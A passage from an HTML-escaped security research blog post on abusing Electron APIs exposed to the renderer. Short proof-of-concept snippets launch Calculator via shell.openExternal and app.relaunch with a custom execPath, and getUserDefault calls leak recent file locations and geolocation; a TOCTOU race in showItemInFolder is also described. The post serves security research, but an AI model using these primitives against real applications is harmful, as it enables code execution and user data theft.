&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;openExternal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;file:///System/Applications/Calculator.app&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Similarly, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell.openPath(path)&lt;/code&gt; can be used to open the given file in the desktop’s default manner.&lt;/p&gt;

&lt;p&gt;From an attacker’s perspective, Electron-specific APIs are very often the easiest path to gain remote code execution, read or write access to the host’s filesystem, or leak sensitive user’s data. Malicious JavaScript running in the renderer can often subvert the application using such primitives.&lt;/p&gt;

&lt;p&gt;With this in mind, we gathered a &lt;em&gt;non-comprehensive&lt;/em&gt; list of APIs we successfully abused during our past engagements. When exposed to the user in the renderer, these APIs can significantly affect the security posture of Electron-based applications and facilitate &lt;a href=&quot;https://www.electronjs.org/docs/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content&quot;&gt;nodeIntegration&lt;/a&gt; / &lt;a href=&quot;https://www.electronjs.org/docs/api/sandbox-option&quot;&gt;sandbox&lt;/a&gt; bypasses.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;remoteapp&quot;&gt;Remote.app&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.electronjs.org/docs/all#remote&quot;&gt;remote&lt;/a&gt; module provides a way for the renderer processes to access APIs normally only available in the main process. In Electron, GUI-related modules (such as dialog, menu, etc.) are only available in the main process, not in the renderer process. In order to use them from the renderer process, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote&lt;/code&gt; module is necessary to send inter-process messages to the main process.&lt;/p&gt;

&lt;p&gt;While this seems pretty useful, this API has been a source of &lt;a href=&quot;https://medium.com/@nornagon/electrons-remote-module-considered-harmful-70d69500f31&quot;&gt;performance and security troubles for quite a while&lt;/a&gt;. As a result of that, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote&lt;/code&gt; module will be deprecated in Electron 12, and eventually removed in Electron 14.&lt;/p&gt;

&lt;p&gt;Despite the warnings and numerous articles on the topic, we have seen a few applications exposing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Remote.app&lt;/code&gt; to the renderer. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app&lt;/code&gt; object controls the full application’s event lifecycle and it is basically the heart of every Electron-based application.&lt;/p&gt;

&lt;p&gt;Many of the functions exposed by this object can be easily abused, including but not limited to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#apprelaunchoptions&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.relaunch([options])&lt;/code&gt;&lt;/a&gt; Relaunches the app when current instance exits.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appsetapplogspathpath&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.setAppLogsPath([path])&lt;/code&gt;&lt;/a&gt; Sets or creates a directory your app’s logs which can then be manipulated with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.getPath()&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.setPath(pathName, newPath)&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appsetasdefaultprotocolclientprotocol-path-args&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.setAsDefaultProtocolClient(protocol[, path, args])&lt;/code&gt;&lt;/a&gt; Sets the current executable as the default handler for a specified protocol.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appsetusertaskstasks-windows&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.setUserTasks(tasks)&lt;/code&gt;&lt;/a&gt; Adds tasks to the Tasks category of the Jump List (Windows only).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appimportcertificateoptions-callback-linux&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.importCertificate(options, callback)&lt;/code&gt;&lt;/a&gt; Imports the certificate in pkcs12 format into the platform certificate store (Linux only).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appmovetoapplicationsfolderoptions-macos&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.moveToApplicationsFolder([options])&lt;/code&gt;&lt;/a&gt; Move the application to the default Application folder (Mac only).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appsetjumplistcategories-windows&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.setJumpList(categories)&lt;/code&gt;&lt;/a&gt; Sets or removes a custom Jump List for the application (Windows only).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.electronjs.org/docs/api/app#appsetloginitemsettingssettings-macos-windows&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.setLoginItemSettings(settings)&lt;/code&gt;&lt;/a&gt; Sets executables to launch at login with their options (Mac, Windows only).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Taking the first function as a way of example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.relaunch([options])&lt;/code&gt; can be used to relaunch the app when the current instance exits. Using this primitive, it is possible to specify a set of options, including a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execPath&lt;/code&gt; property that will be executed for relaunch instead of the current app along with a custom &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args&lt;/code&gt; array that will be passed as command-line arguments. This functionality can be easily leveraged by an attacker to execute arbitrary commands.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;Native&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;relaunch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;execPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/System/Applications/Calculator.app/Contents/MacOS/Calculator&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;Native&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the relaunch method alone does not quit the app when executed, and it is also necessary to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.quit()&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app.exit()&lt;/code&gt; after calling the method to make the app restart.&lt;/p&gt;

&lt;h2 id=&quot;systempreferences&quot;&gt;systemPreferences&lt;/h2&gt;

&lt;p&gt;Another frequently exported module is &lt;a href=&quot;https://www.electronjs.org/docs/api/system-preferences&quot;&gt;systemPreferences&lt;/a&gt;. This API is used to get the system preferences and emit system events, and can therefore be abused to leak multiple pieces of information on the user’s behavior and their operating system activity and usage patterns. The metadata subtracted through the module could be then abused to mount targeted attacks.&lt;/p&gt;

&lt;h4 id=&quot;subscribenotification-subscribeworkspacenotification&quot;&gt;subscribeNotification, subscribeWorkspaceNotification&lt;/h4&gt;

&lt;p&gt;These &lt;a href=&quot;https://www.electronjs.org/docs/api/system-preferences#systempreferencessubscribenotificationevent-callback-macos&quot;&gt;methods&lt;/a&gt; could be used to subscribe to native notifications of macOS. Under the hood, this API subscribes to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSDistributedNotificationCenter&lt;/code&gt;. &lt;a href=&quot;https://mjtsai.com/blog/2019/10/04/nsdistributednotificationcenter-no-longer-supports-nil-names/&quot;&gt;Before macOS Catalina&lt;/a&gt;, it was possible to register a global listener and receive all distributed notifications by invoking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFNotificationCenterAddObserver&lt;/code&gt; function with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; parameter (corresponding to the event parameter of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subscribeNotification&lt;/code&gt;). The callback specified would be invoked anytime a distributed notification is broadcasted by any app. Following the release of macOS Catalina or Big Sur, in the case of sandboxed applications it is still possible to globally sniff distributed notifications by &lt;a href=&quot;https://objective-see.com/blog/blog_0x39.html&quot;&gt;registering&lt;/a&gt; to receive any notification by name. As a result, many sensitive events can be sniffed, including but not limited to:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Screen locks/unlocks&lt;/li&gt;
  &lt;li&gt;Screen saver start/stop&lt;/li&gt;
  &lt;li&gt;Bluetooth activity/HID Devices&lt;/li&gt;
  &lt;li&gt;Volume (USB, etc) mount/unmount&lt;/li&gt;
  &lt;li&gt;Network activity&lt;/li&gt;
  &lt;li&gt;User file downloads&lt;/li&gt;
  &lt;li&gt;Newly Installed Applications&lt;/li&gt;
  &lt;li&gt;Opened Source Code Files&lt;/li&gt;
  &lt;li&gt;Applications in Use&lt;/li&gt;
  &lt;li&gt;Loaded Kernel Extensions&lt;/li&gt;
  &lt;li&gt;…and more from the installed application including sensitive information in them. Distributed notifications will always be public by design, and it was never correct to put sensitive information in them.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The latest &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSDistributedNotificationCenter&lt;/code&gt; API also seems to be having &lt;a href=&quot;https://twitter.com/mjtsai/status/1336354549355999239&quot;&gt;intermittent problems&lt;/a&gt; with Big Sur and sandboxed application, so we expected to see more breaking changes in the future.&lt;/p&gt;

&lt;h4 id=&quot;getuserdefault-setuserdefault&quot;&gt;getUserDefault, setUserDefault&lt;/h4&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getUserDefault&lt;/code&gt; function returns the value of key in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSUserDefaults&lt;/code&gt;, a macOS simple storage class that provides a programmatic interface for interacting with the defaults system. This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;systemPreferences&lt;/code&gt; method can be abused to return the Application’s or Global’s Preferences. An attacker may abuse the API to retrieve sensitive information including the user’s location and filesystem resources. As a matter of demonstration, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getUserDefault&lt;/code&gt; can be used to obtain personal details of the targeted application user:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;User’s most recent locations on the file system
    &lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Native&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;systemPreferences&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUserDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;NSNavRecentPlaces&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/tmp/secretfile&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/tmp/SecretResearch&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;~/Desktop/Cellar/NSA_files&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/tmp/blog.doyensec.com/_posts&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;~/Desktop/Invoices&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;User’s selected geographic location
    &lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;Native&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;systemPreferences&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUserDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;com.apple.TimeZonePref.Last_Selected_City&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;48.40311&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;11.74905&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Europe/Berlin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DE&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Freising&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Germany&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Freising&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Germany&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DEPRECATED IN 10.6&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Complementarily, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setUserDefault&lt;/code&gt; method can be weaponized to set User’s Default for the Application Preferences related to the target application. Before Electron v8.3.0 &lt;a href=&quot;https://github.com/electron/electron/issues/17031&quot;&gt;[1]&lt;/a&gt;, &lt;a href=&quot;https://github.com/electron/electron/pull/23412/commits/4ae4537255349440ea8d69a604eb7d0c1b67ea24&quot;&gt;[2]&lt;/a&gt; these methods can only get or set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSUserDefaults&lt;/code&gt; keys in the &lt;a href=&quot;https://developer.apple.com/documentation/foundation/nsuserdefaults/1416603-standarduserdefaults?language=objc&quot;&gt;standard suite&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;shellshowiteminfolder&quot;&gt;Shell.showItemInFolder&lt;/h2&gt;

&lt;p&gt;A subtle example of a potentially dangerous native Electron primitive is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell.showItemInFolder&lt;/code&gt;. As the name suggests, this API shows the given file in a file manager.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/showItemInFolder.png&quot; title=&quot;shell.showItemInFolder&quot; alt=&quot;shell.showItemInFolder&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 800px;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Such seemingly innocuous functionality hides some peculiarities that could be dangerous from a security perspective.&lt;/p&gt;

&lt;p&gt;On Linux (&lt;a href=&quot;https://github.com/electron/electron/blob/602913cb4c98d102548e082c97401415849fe082/shell/common/platform_util_linux.cc#L80-L86&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/shell/common/platform_util_linux.cc&lt;/code&gt;&lt;/a&gt;), Electron extracts the parent directory name, checks if the resulting path is actually a directory and then uses XDGOpen (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xdg-open&lt;/code&gt;) to show the file in its location:&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ShowItemInFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FilePath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;full_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FilePath&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dir&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;full_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DirName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DirectoryExists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;XDGOpen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;platform_util&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OpenCallback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xdg-open&lt;/code&gt; can be leveraged for executing applications on the victim’s computer.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“If a file is provided the file will be opened in the preferred application for files of that type” (https://linux.die.net/man/1/xdg-open)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Because of the inherited time of check time of use (TOCTOU) condition caused by the time difference between the directory existence check and its launch with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xdg-open&lt;/code&gt;, an attacker could run an executable of choice by replacing the folder path with an arbitrary file, winning the race introduced by the check. While this issue is rather tricky to be exploited in the context of an insecure Electron’s renderer, it is certainly a potential step in a more complex vulnerabilities chain.&lt;/p&gt;

&lt;p&gt;On Windows (&lt;a href=&quot;https://github.com/electron/electron/blob/602913cb4c98d102548e082c97401415849fe082/shell/common/platform_util_win.cc#L254-L300&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/shell/common/platform_util_win.cc&lt;/code&gt;&lt;/a&gt;), the situation is even more tricky:&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ShowItemInFolderOnWorkerThread&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FilePath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;full_path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ScopedCoMem&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ITEMIDLIST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dir_item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;hr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;desktop&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParseDisplayName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                 &lt;span class=&quot;k&quot;&gt;const_cast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;wchar_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()),&lt;/span&gt;
